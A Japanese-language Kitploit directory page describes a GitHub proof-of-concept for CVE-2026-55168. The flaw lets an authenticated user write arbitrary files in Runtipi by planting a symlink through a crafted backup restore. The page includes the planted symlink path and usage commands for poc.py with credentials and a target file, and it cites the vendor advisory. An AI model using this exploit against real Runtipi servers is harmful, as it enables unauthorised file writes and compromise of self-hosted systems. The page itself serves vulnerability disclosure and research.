Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-55168 — Runtipiにおけるバックアップ復元時のシンボリックリンク植え付けを介した認証済み任意ファイル書き込みを実証するCVE-2026-55168の概念実証エクスプロイト | Kitploit
ツール/GitHubGitHub/kovachvl/cve-2026-55168
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubkovachvl/cve-2026-55168

CVE-2026-55168

Runtipiにおけるバックアップ復元時のシンボリックリンク植え付けを介した認証済み任意ファイル書き込みを実証するCVE-2026-55168の概念実証エクスプロイト

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-55168

このリポジトリは、Runtipi における CVE-2026-55168 のシンプルなPoCを含んでいます。

この問題は、バックアップ復元フローを介して到達可能な認証済み任意ファイル書き込みです。細工されたバックアップアーカイブは、復元されたアプリケーションデータにシンボリックリンクを仕掛け、その後の通常の設定更新がそのシンボリックリンクをたどって、意図されたディレクトリの外に攻撃者が制御するコンテンツを書き込みます。

参考アドバイザリ:

  • https://github.com/runtipi/runtipi/security/advisories/GHSA-wcrf-g9p9-2wg7

影響を受けるバージョン:

  • <= 4.10.0

PoCの動作

PoCはRuntipiにログインし、メモリ内に悪意のあるバックアップアーカイブを作成し、それをアップロードし、復元をトリガーし、その後通常の user-config 更新リクエストを送信します。

復元ペイロードは次のシンボリックリンクを仕掛けます:

root@kitploit:~
user-config/app.env -> /data/state/proof.txt

その後、アプリ設定を更新する通常のリクエストにより、Runtipiが指定されたコンテンツを次の場所に書き込みます:

root@kitploit:~
/data/state/proof.txt

重要なのは、復元中のシンボリックリンクの永続性だけでなく、後に行われる正当な書き込みが仕掛けられたシンボリックリンクをたどるという点です。

ファイル

  • poc.py — エンドツーエンドのPython PoC

使用方法

root@kitploit:~
python poc.py \
  --base-url http://127.0.0.1:3001 \
  --username YOUR_USERNAME \
  --password YOUR_PASSWORD \
  --app-urn demoapp3:_user \
  --target-path /data/state/proof.txt \
  --write-content PWNED_FROM_USERCFG_WRITE

必要に応じて、生成されたアーカイブをローカルに保存することもできます:

root@kitploit:~
python poc.py \
  --base-url http://127.0.0.1:3001 \
  --username YOUR_USERNAME \
  --password YOUR_PASSWORD \
  --output payload.tar.gz

期待される結果

ターゲットが脆弱な場合、スクリプトは正常に終了し、status: "ok" を含む小さなJSON結果を出力します。

注意事項

このPoCは研究および再現目的で提供されています。

ツールをダウンロード